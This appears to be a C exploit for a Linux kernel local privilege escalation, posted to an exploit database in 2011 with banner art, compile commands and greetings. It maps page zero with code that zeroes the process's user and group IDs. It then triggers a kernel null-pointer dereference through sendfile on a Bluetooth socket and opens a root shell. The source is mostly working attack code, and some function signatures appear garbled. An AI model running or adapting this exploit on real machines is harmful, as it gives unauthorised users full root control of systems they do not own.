_Priv8 Local R00t 2.6.18.128 2011
 
/*   *   *   * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                             * 0     _                   __           __       __                     1   * 1   /' \            __  /'__`\        /\ \__  /'__`\                   0   * 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1   * 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0   * 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1   * 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0   * 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1   * 1                  \ \____/ >> Exploit database separated by exploit   0   * 0                   \/___/          type (local, remote, DoS, etc.)    1   * 1                                                                      0   * 0  By CrosS                                                            1   * 1                                                                      0    * 0  Linux 2011                                                          1   * 1                                                                      0   * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1   *    * Linux 2.6.18-128.el5   * Linux 2.6.9-89.EL   * Ubuntu 8.10 Linux 2.6.27   *   * For i386 & ppc compile with the command;   * gcc -w -o exploit exploit.c   *   * For x86_64 kernel and ppc64 Compile as;   * gcc -w -m64 -o exploit exploit.c   *   * Greetz: r0073r( 1337day.com ),r4dc0re,side^effects and all members of 1337day Team ) ..... & all members of r00tw0rm.com ( RW ) .. )   *   * Submit Your Exploit at Submit@1337day.com | mr.inj3ct0r@gmail.com   *   * For Educational purpose Only))   */  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <sys/mman.h>  #include <sys/sendfile.h>  #include <sys/types.h>  #include <sys/socket.h>  #include <unistd.h>     #if !defined(__always_inline)  #define __always_inline inline __attribute__((always_inline))  #endif     #if defined(__i386__) || defined(__x86_64__)  #if defined(__LP64__)  static  __always_inline unsigned long  current_stack_pointer (****)  {       unsigned long sp ;          asm volatile  ( "movq %%rsp,%0; "  :  "=r"  ( sp ));         return  sp ;  }     #else  static  __always_inline unsigned long  current_stack_pointer (****)  {       unsigned long sp ;          asm volatile  ( "movl %%esp,%0"  :  "=r"  ( sp ));         return  sp ;  }     #endif     #elif defined(__powerpc__) || defined(__powerpc64__)  static  __always_inline unsigned long  current_stack_pointer (****)  {       unsigned long sp ;          asm volatile  ( "mr %0,%%r1; "  :  "=r"  ( sp ));         return  sp ;  }     #endif     #if defined(__i386__) || defined(__x86_64__)  #if defined(__LP64__)  static  __always_inline unsigned long  current_task_struct (****)  {       unsigned long task_struct ;          asm volatile  ( "movq %%gs:(0),%0; "  :  "=r"  ( task_struct ));         return  task_struct ;  }     #else  #define TASK_RUNNING 0     static  __always_inline unsigned long  current_task_struct (****)  {       unsigned long task_struct ,  thread_info ;          thread_info  =  current_stack_pointer () & ~( 4096  -  1 );         if (*( unsigned long  *) thread_info  >=  0xc0000000 ) {           task_struct  = *( unsigned long  *) thread_info ;              /*           * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng           * in us3r-spaCe.           */           if (*( unsigned long  *) task_struct  ==  TASK_RUNNING )              return  task_struct ;      }          /*       * Prior to the 2.6 kernel series, the task_struct was stored at the end       * of the kernel stack.       */       task_struct  =  current_stack_pointer () & ~( 8192  -  1 );         if (*( unsigned long  *) task_struct  ==  TASK_RUNNING )          return  task_struct ;          thread_info  =  task_struct ;          task_struct  = *( unsigned long  *) thread_info ;         if (*( unsigned long  *) task_struct  ==  TASK_RUNNING )          return  task_struct ;         return - 1 ;  }     #endif     #elif defined(__powerpc__) || defined(__powerpc64__)  #define TASK_RUNNING 0     static  __always_inline unsigned long  current_task_struct (****)  {       unsigned long task_struct ,  thread_info ;     #if defined(__LP64__)       task_struct  =  current_stack_pointer () & ~( 16384  -  1 );     #else       task_struct  =  current_stack_pointer () & ~( 8192  -  1 );     #endif          if (*( unsigned long  *) task_struct  ==  TASK_RUNNING )          return  task_struct ;          thread_info  =  task_struct ;          task_struct  = *( unsigned long  *) thread_info ;         if (*( unsigned long  *) task_struct  ==  TASK_RUNNING )          return  task_struct ;         return - 1 ;  }     #endif     #if defined(__i386__) || defined(__x86_64__)  static  unsigned long uid ,  gid ;     static  int  change_cred (****)  {       unsigned int  * task_struct ;          task_struct  = ( unsigned int  *) current_task_struct ();         while ( task_struct ) {          if ( task_struct [ 0 ] ==  uid  &&  task_struct [ 1 ] ==  uid  &&                   task_struct [ 2 ] ==  uid  &&  task_struct [ 3 ] ==  uid  &&                   task_struct [ 4 ] ==  gid  &&  task_struct [ 5 ] ==  gid  &&                   task_struct [ 6 ] ==  gid  &&  task_struct [ 7 ] ==  gid ) {               task_struct [ 0 ] =  task_struct [ 1 ] =               task_struct [ 2 ] =  task_struct [ 3 ] =               task_struct [ 4 ] =  task_struct [ 5 ] =               task_struct [ 6 ] =  task_struct [ 7 ] =  0 ;              break;          }              task_struct ++;      }         return - 1 ;  }     #elif defined(__powerpc__) || defined(__powerpc64__)  static  int  change_cred (****)  {       unsigned int  * task_struct ;          task_struct  = ( unsigned int  *) current_task_struct ();         while ( task_struct ) {          if (! task_struct [ 0 ]) {               task_struct ++;              continue;          }             if ( task_struct [ 0 ] ==  task_struct [ 1 ] &&                   task_struct [ 0 ] ==  task_struct [ 2 ] &&                   task_struct [ 0 ] ==  task_struct [ 3 ] &&                   task_struct [ 4 ] ==  task_struct [ 5 ] &&                   task_struct [ 4 ] ==  task_struct [ 6 ] &&                   task_struct [ 4 ] ==  task_struct [ 7 ]) {               task_struct [ 0 ] =  task_struct [ 1 ] =               task_struct [ 2 ] =  task_struct [ 3 ] =               task_struct [ 4 ] =  task_struct [ 5 ] =               task_struct [ 6 ] =  task_struct [ 7 ] =  0 ;              break;          }              task_struct ++;      }         return - 1 ;  }     #endif     #define PAGE_SIZE getpagesize()     int  main (****)  {       char  * addr ;       int out_fd ,  in_fd ;       char template [] =  "/tmp/tmp.XXXXXX" ;     #if defined(__i386__) || defined(__x86_64__)       uid  =  getuid (),  gid  =  getgid ();     #endif          if (( addr  =  mmap ( NULL ,  0x1000 ,  PROT_EXEC | PROT_READ | PROT_WRITE ,  MAP_FIXED |               MAP_PRIVATE | MAP_ANONYMOUS ,  0 ,  0 )) ==  MAP_FAILED ) {           perror ( "mmap" );          exit( EXIT_FAILURE );      }     #if defined(__i386__) || defined(__x86_64__)  #if defined(__LP64__)       addr [ 0 ] =  '\xff' ;       addr [ 1 ] =  '\x24' ;       addr [ 2 ] =  '\x25' ;      *( unsigned long  *)& addr [ 3 ] =  8 ;      *( unsigned long  *)& addr [ 8 ] = ( unsigned long ) change_cred ;     #else       addr [ 0 ] =  '\xff' ;       addr [ 1 ] =  '\x25' ;      *( unsigned long  *)& addr [ 2 ] =  8 ;      *( unsigned long  *)& addr [ 8 ] = ( unsigned long ) change_cred ;     #endif     #elif defined(__powerpc__) || defined(__powerpc64__)  #if defined(__LP64__)      /*       * The use of function descriptors by the Power 64-bit ELF ABI requires       * the use of a fake function descriptor.:P       */       *( unsigned long  *)& addr [ 0 ] = *( unsigned long  *) change_cred ;     #else       addr [ 0 ] =  '\x3f' ;       addr [ 1 ] =  '\xe0' ;      *( unsigned short  *)& addr [ 2 ] = ( unsigned short ) change_cred >> 16 ;       addr [ 4 ] =  '\x63' ;       addr [ 5 ] =  '\xff' ;      *( unsigned short  *)& addr [ 6 ] = ( unsigned short ) change_cred ;       addr [ 8 ] =  '\x7f' ;       addr [ 9 ] =  '\xe9' ;       addr [ 10 ] =  '\x03' ;       addr [ 11 ] =  '\xa6' ;       addr [ 12 ] =  '\x4e' ;       addr [ 13 ] =  '\x80' ;       addr [ 14 ] =  '\x04' ;       addr [ 15 ] =  '\x20' ;     #endif     #endif          if (( out_fd  =  socket ( PF_BLUETOOTH ,  SOCK_DGRAM ,  0 )) == - 1 ) {           perror ( "socket" );          exit( EXIT_FAILURE );      }         if (( in_fd  =  mkstemp ( template )) == - 1 ) {           perror ( "mkstemp" );          exit( EXIT_FAILURE );      }         if( unlink ( template ) == - 1 ) {           perror ( "unlink" );          exit( EXIT_FAILURE );      }         if ( ftruncate ( in_fd ,  PAGE_SIZE ) == - 1 ) {           perror ( "ftruncate" );          exit( EXIT_FAILURE );      }          sendfile ( out_fd ,  in_fd ,  NULL ,  PAGE_SIZE );          execl ( "/bin/sh" ,  "sh" ,  "-i" ,  NULL );         exit( EXIT_SUCCESS );  }  # 1337day.com [2011-11-06]